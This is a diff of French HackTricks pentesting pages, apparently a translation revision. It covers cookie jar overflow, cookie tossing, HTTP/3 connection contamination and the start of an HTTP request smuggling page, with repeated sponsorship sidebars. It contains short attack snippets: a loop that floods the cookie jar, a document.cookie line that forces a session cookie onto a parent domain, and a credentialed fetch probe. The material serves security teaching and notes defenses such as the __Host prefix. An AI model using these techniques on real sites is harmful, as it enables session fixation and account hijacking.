// Set many cookies
|
||||
for (let i = 0; i < 700; i++) {
|
||||
|
@ -28,22 +28,22 @@ document.cookie = `cookie${i}=${i};expires=Thu, 01 Jan 1970 00:00:01 GMT`;
|
|||
Remarquez que les cookies tiers pointant vers un domaine différent ne seront pas écrasés.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Cette attaque peut également être utilisée pour **écraser les cookies HttpOnly car vous pouvez les supprimer puis les réinitialiser avec la valeur que vous souhaitez**.
|
||||
Cette attaque peut également être utilisée pour **écraser les cookies HttpOnly car vous pouvez le supprimer puis le réinitialiser avec la valeur souhaitée**.
|
||||
|
||||
Vérifiez cela dans [**ce post avec un lab**](https://www.sjoerdlangkemper.nl/2020/05/27/overwriting-httponly-cookies-from-javascript-using-cookie-jar-overflow/).
|
||||
Consultez ceci dans [**cet article avec un laboratoire**](https://www.sjoerdlangkemper.nl/2020/05/27/overwriting-httponly-cookies-from-javascript-using-cookie-jar-overflow/).
|
||||
{% endhint %}
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres moyens de soutenir HackTricks :
|
||||
Autres façons de soutenir HackTricks:
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,72 +1,72 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres moyens de soutenir HackTricks :
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PRs aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
## Description
|
||||
|
||||
Si un attaquant peut **contrôler un sous-domaine ou le domaine d'une entreprise ou trouve un XSS dans un sous-domaine**, il pourra réaliser cette attaque.
|
||||
Si un attaquant peut **contrôler un sous-domaine ou le domaine d'une entreprise ou trouve une XSS dans un sous-domaine**, il pourra effectuer cette attaque.
|
||||
|
||||
Comme indiqué dans la section Cookies Hacking, lorsqu'un **cookie est défini pour un domaine (en le spécifiant), il sera utilisé dans le domaine et les sous-domaines.**
|
||||
Comme indiqué dans la section de piratage des cookies, lorsqu'un **cookie est défini pour un domaine (en le spécifiant), il sera utilisé dans le domaine et les sous-domaines.**
|
||||
|
||||
{% hint style="danger" %}
|
||||
Par conséquent, **un attaquant pourra définir pour le domaine et les sous-domaines un cookie spécifique en faisant quelque chose comme** `document.cookie="session=1234; Path=/app/login; domain=.example.com"`
|
||||
{% endhint %}
|
||||
|
||||
Cela peut être dangereux car l'attaquant pourrait :
|
||||
Cela peut être dangereux car l'attaquant peut :
|
||||
|
||||
* **Fixer le cookie de la victime sur le compte de l'attaquant** donc si l'utilisateur ne le remarque pas, **il effectuera les actions sur le compte de l'attaquant** et l'attaquant pourrait obtenir des informations intéressantes (vérifier l'historique des recherches de l'utilisateur sur la plateforme, la victime pourrait enregistrer sa carte de crédit sur le compte...)
|
||||
* Si le **cookie ne change pas après la connexion**, l'attaquant pourrait simplement **fixer un cookie**, attendre que la victime se connecte puis **utiliser ce cookie pour se connecter en tant que victime**.
|
||||
* Si le **cookie définit une valeur initiale** (comme dans flask où le **cookie** peut **définir** le **CSRF token** de la session et cette valeur sera maintenue après que la victime se connecte), **l'attaquant pourrait définir cette valeur connue puis en abuser** (dans ce scénario, l'attaquant pourrait alors faire exécuter à l'utilisateur une requête CSRF puisqu'il connaît le CSRF token).
|
||||
* **Fixer le cookie de la victime sur le compte de l'attaquant** donc si l'utilisateur ne le remarque pas, **il effectuera les actions dans le compte de l'attaquant** et l'attaquant peut obtenir des informations intéressantes (vérifier l'historique des recherches de l'utilisateur sur la plateforme, la victime peut enregistrer sa carte de crédit dans le compte...)
|
||||
* Si le **cookie ne change pas après la connexion**, l'attaquant peut simplement **fixer un cookie**, attendre que la victime se connecte, puis **utiliser ce cookie pour se connecter en tant que victime**.
|
||||
* Si le **cookie définit une valeur initiale** (comme dans Flask où le **cookie** peut **définir** le **jeton CSRF** de la session et que cette valeur sera conservée après la connexion de la victime), l'**attaquant peut définir cette valeur connue puis l'exploiter** (dans ce scénario, l'attaquant peut ensuite faire effectuer une requête CSRF à l'utilisateur car il connaît le jeton CSRF).
|
||||
|
||||
## Ordre des Cookies
|
||||
## Ordre des cookies
|
||||
|
||||
Lorsqu'un navigateur reçoit deux cookies portant le même nom **affectant partiellement le même périmètre** (domaine, sous-domaines et chemin), le **navigateur enverra les deux valeurs du cookie** lorsque les deux sont valides pour la requête.
|
||||
Lorsqu'un navigateur reçoit deux cookies avec le même nom **affectant partiellement le même champ d'application** (domaine, sous-domaines et chemin), le **navigateur enverra les deux valeurs du cookie** lorsque les deux sont valides pour la requête.
|
||||
|
||||
Selon qui a **le chemin le plus spécifique** ou lequel est **le plus ancien**, le navigateur **définira la valeur du cookie en premier** puis celle de l'autre comme dans : `Cookie: iduser=MoreSpecificAndOldestCookie; iduser=LessSpecific;`
|
||||
En fonction de qui a **le chemin le plus spécifique** ou lequel est le **plus ancien**, le navigateur **définira d'abord la valeur du cookie** puis la valeur de l'autre comme dans : `Cookie: iduser=CookiePlusSpécifiqueEtPlusAncien; iduser=MoinsSpécifique;`
|
||||
|
||||
La plupart des **sites web n'utiliseront que la première valeur**. Ainsi, si un attaquant veut définir un cookie, il vaut mieux le faire avant qu'un autre soit défini ou le définir avec un chemin plus spécifique.
|
||||
La plupart des **sites Web n'utiliseront que la première valeur**. Ainsi, si un attaquant souhaite définir un cookie, il est préférable de le définir avant qu'un autre ne soit défini ou de le définir avec un chemin plus spécifique.
|
||||
|
||||
{% hint style="warning" %}
|
||||
De plus, la capacité à **définir un cookie dans un chemin plus spécifique** est très intéressante car vous pourrez faire en sorte que **la victime travaille avec son cookie sauf dans le chemin spécifique où le cookie malveillant défini sera envoyé en premier**.
|
||||
De plus, la capacité à **définir un cookie dans un chemin plus spécifique** est très intéressante car vous pourrez faire en sorte que la **victime travaille avec son cookie sauf dans le chemin spécifique où le cookie malveillant défini sera envoyé en premier**.
|
||||
{% endhint %}
|
||||
|
||||
## Contournement de Protection
|
||||
## Contourner la protection
|
||||
|
||||
Une protection possible contre cette attaque serait que le **serveur web n'accepte pas les requêtes avec deux cookies portant le même nom mais deux valeurs différentes**.
|
||||
Une protection possible contre cette attaque serait que le **serveur Web n'accepte pas les requêtes avec deux cookies portant le même nom mais deux valeurs différentes**.
|
||||
|
||||
Pour contourner le scénario où l'attaquant définit un cookie après que la victime a déjà reçu le cookie, l'attaquant pourrait provoquer un **débordement de cookie** et ensuite, une fois le **cookie légitime supprimé, définir le malveillant**.
|
||||
Pour contourner le scénario où l'attaquant définit un cookie après que la victime ait déjà reçu le cookie, l'attaquant pourrait provoquer un **débordement de cookie** et ensuite, une fois que le **cookie légitime est supprimé, définir le malveillant**.
|
||||
|
||||
{% content-ref url="cookie-jar-overflow.md" %}
|
||||
[cookie-jar-overflow.md](cookie-jar-overflow.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Un autre **contournement** utile pourrait être d'**encoder l'URL du nom du cookie** car certaines protections vérifient la présence de 2 cookies avec le même nom dans une requête puis le serveur décodera les noms des cookies.
|
||||
Un autre **contournement** utile pourrait être de **coder en URL le nom du cookie** car certaines protections vérifient la présence de 2 cookies portant le même nom dans une requête et ensuite le serveur décoderait les noms des cookies.
|
||||
|
||||
## Bombe à Cookies
|
||||
## Bombe à cookies
|
||||
|
||||
Une attaque de Cookie Tossing peut également être utilisée pour réaliser une attaque de **Bombe à Cookies** :
|
||||
Une attaque de Cookie Tossing peut également être utilisée pour effectuer une attaque de **Bombe à cookies** :
|
||||
|
||||
{% content-ref url="cookie-bomb.md" %}
|
||||
[cookie-bomb.md](cookie-bomb.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Défenses
|
||||
## Défense**s**
|
||||
|
||||
### **Utiliser le préfixe `__Host` dans le nom du cookie**
|
||||
|
||||
* Si un nom de cookie a ce préfixe, il **sera accepté uniquement** dans une directive Set-Cookie s'il est marqué comme Secure, a été envoyé depuis une origine sécurisée, ne comprend pas d'attribut Domain et a l'attribut Path défini sur /
|
||||
* **Cela empêche les sous-domaines de forcer un cookie sur le domaine principal puisque ces cookies peuvent être considérés comme "verrouillés sur le domaine"**
|
||||
* Si un nom de cookie a ce préfixe, il **ne sera accepté que** dans une directive Set-Cookie s'il est marqué Secure, a été envoyé depuis une origine sécurisée, n'inclut pas d'attribut Domain, et a l'attribut Path défini sur /
|
||||
* **Cela empêche les sous-domaines de forcer un cookie sur le domaine principal car ces cookies peuvent être considérés comme "verrouillés sur le domaine"**
|
||||
|
||||
## Références
|
||||
|
||||
|
@ -77,14 +77,14 @@ Une attaque de Cookie Tossing peut également être utilisée pour réaliser une
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres moyens de soutenir HackTricks :
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PRs aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,21 +2,21 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert Red Team AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
|
||||
**Il s'agit d'un résumé de l'article : [https://portswigger.net/research/http-3-connection-contamination](https://portswigger.net/research/http-3-connection-contamination)**. Consultez-le pour plus de détails !
|
||||
|
||||
Les navigateurs Web peuvent réutiliser une seule connexion HTTP/2+ pour différents sites Web via [la coalescence des connexions HTTP](https://daniel.haxx.se/blog/2016/08/18/http2-connection-coalescing), en présence d'adresses IP partagées et d'un certificat TLS commun. Cependant, cela peut entrer en conflit avec le **routage de la première requête** dans les reverse-proxies, où les requêtes ultérieures sont dirigées vers l'arrière-plan déterminé par la première requête. Ce mauvais routage peut entraîner des vulnérabilités de sécurité, notamment lorsqu'il est combiné avec des certificats TLS génériques et des domaines tels que `*.example.com`.
|
||||
Les navigateurs Web peuvent réutiliser une seule connexion HTTP/2+ pour différents sites Web grâce à la [coalescence des connexions HTTP](https://daniel.haxx.se/blog/2016/08/18/http2-connection-coalescing), en présence d'adresses IP partagées et d'un certificat TLS commun. Cependant, cela peut entrer en conflit avec le **routage de la première requête** dans les reverse-proxies, où les requêtes ultérieures sont dirigées vers l'arrière-plan déterminé par la première requête. Ce mauvais routage peut entraîner des vulnérabilités de sécurité, notamment lorsqu'il est combiné avec des certificats TLS génériques et des domaines tels que `*.example.com`.
|
||||
|
||||
Par exemple, si `wordpress.example.com` et `secure.example.com` sont tous deux servis par le même reverse proxy et ont un certificat générique commun, la coalescence de connexion du navigateur pourrait amener les requêtes vers `secure.example.com` à être traitées à tort par l'arrière-plan WordPress, exploitant des vulnérabilités telles que XSS.
|
||||
|
||||
|
@ -24,6 +24,20 @@ Pour observer la coalescence de connexion, l'onglet Réseau de Chrome ou des out
|
|||
```javascript
|
||||
fetch('//sub1.hackxor.net/', {mode: 'no-cors', credentials: 'include'}).then(()=>{ fetch('//sub2.hackxor.net/', {mode: 'no-cors', credentials: 'include'}) })
|
||||
```
|
||||
La menace est actuellement limitée en raison de la rareté du routage de la première requête et de la complexité de HTTP/2. Cependant, les changements proposés dans HTTP/3, qui assouplissent l'exigence de correspondance des adresses IP, pourraient élargir la surface d'attaque, rendant les serveurs avec un certificat générique plus vulnérables sans nécessiter d'attaque de l'homme du milieu.
|
||||
La menace est actuellement limitée en raison de la rareté du routage de la première requête et de la complexité de HTTP/2. Cependant, les changements proposés dans HTTP/3, qui assouplissent l'exigence de correspondance des adresses IP, pourraient élargir la surface d'attaque, rendant les serveurs avec un certificat générique plus vulnérables sans nécessiter une attaque de l'homme du milieu.
|
||||
|
||||
Les meilleures pratiques incluent l'évitement du routage de la première requête dans les proxies inverses et la prudence avec les certificats TLS génériques, en particulier avec l'avènement de HTTP/3. Des tests réguliers et une prise de conscience de ces vulnérabilités complexes et interconnectées sont cruciaux pour maintenir la sécurité web.
|
||||
Les meilleures pratiques incluent l'évitement du routage de la première requête dans les proxies inverses et la prudence avec les certificats TLS génériques, surtout avec l'avènement de HTTP/3. Des tests réguliers et une prise de conscience de ces vulnérabilités complexes et interconnectées sont cruciaux pour maintenir la sécurité web.
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres façons de soutenir HackTricks:
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF** Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,12 +2,12 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
@ -45,12 +45,12 @@ Pour identifier ces vulnérabilités, la fonctionnalité 'sonde d'état de conne
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,22 +1,22 @@
|
|||
# Attaque de Demande HTTP Smuggling / Désynchronisation HTTP
|
||||
# Attaque de Demande HTTP Smuggling / HTTP Desync
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
|
||||
## Qu'est-ce que c'est
|
||||
|
||||
Cette vulnérabilité se produit lorsqu'une **désynchronisation** entre les **proxys frontaux** et le **serveur back-end** permet à un **attaquant** d'**envoyer** une **demande HTTP** qui sera **interprétée** comme une **seule demande** par les **proxys frontaux** (équilibrage de charge/proxy inverse) et **comme 2 demandes** par le **serveur back-end**.\
|
||||
Cette vulnérabilité se produit lorsqu'une **désynchronisation** entre les **proxys frontaux** et le **serveur back-end** permet à un **attaquant** d'**envoyer** une demande HTTP qui sera **interprétée** comme une **seule demande** par les **proxys frontaux** (équilibrage de charge/proxy inverse) et **comme 2 demandes** par le **serveur back-end**.\
|
||||
Cela permet à un utilisateur de **modifier la prochaine demande qui arrive au serveur back-end après la sienne**.
|
||||
|
||||
### Théorie
|
||||
|
@ -32,7 +32,7 @@ Cela permet à un utilisateur de **modifier la prochaine demande qui arrive au s
|
|||
**Transfer-Encoding: chunked**
|
||||
|
||||
> L'en-tête Transfer-Encoding spécifie la forme de codage utilisée pour transférer en toute sécurité le corps de la charge utile à l'utilisateur.\
|
||||
> Chunked signifie que de grandes données sont envoyées sous forme de séries de morceaux.
|
||||
> Chunked signifie que des données volumineuses sont envoyées sous forme de séries de morceaux.
|
||||
|
||||
### Réalité
|
||||
|
||||
|
@ -44,12 +44,12 @@ Cela pourrait être très critique car **un attaquant pourra envoyer une demande
|
|||
Rappelez-vous qu'en HTTP **un caractère de nouvelle ligne est composé de 2 octets :**
|
||||
|
||||
* **Content-Length** : Cet en-tête utilise un **nombre décimal** pour indiquer le **nombre d'octets** du **corps** de la demande. Le corps est censé se terminer par le dernier caractère, **une nouvelle ligne n'est pas nécessaire à la fin de la demande**.
|
||||
* **Transfer-Encoding** : Cet en-tête utilise dans le **corps** un **nombre hexadécimal** pour indiquer le **nombre d'octets** du **prochain morceau**. Le **morceau** doit se **terminer** par une **nouvelle ligne** mais cette nouvelle ligne **n'est pas comptée** par l'indicateur de longueur. Cette méthode de transfert doit se terminer par un **morceau de taille 0 suivi de 2 nouvelles lignes** : `0`
|
||||
* **Transfer-Encoding** : Cet en-tête utilise dans le **corps** un **nombre hexadécimal** pour indiquer le **nombre d'octets** du **prochain morceau**. Le **morceau** doit **se terminer** par une **nouvelle ligne** mais cette nouvelle ligne **n'est pas comptée** par l'indicateur de longueur. Cette méthode de transfert doit se terminer par un **morceau de taille 0 suivi de 2 nouvelles lignes** : `0`
|
||||
* **Connection** : D'après mon expérience, il est recommandé d'utiliser **`Connection: keep-alive`** sur la première demande de la demande de Smuggling.
|
||||
|
||||
## Exemples de Base
|
||||
|
||||
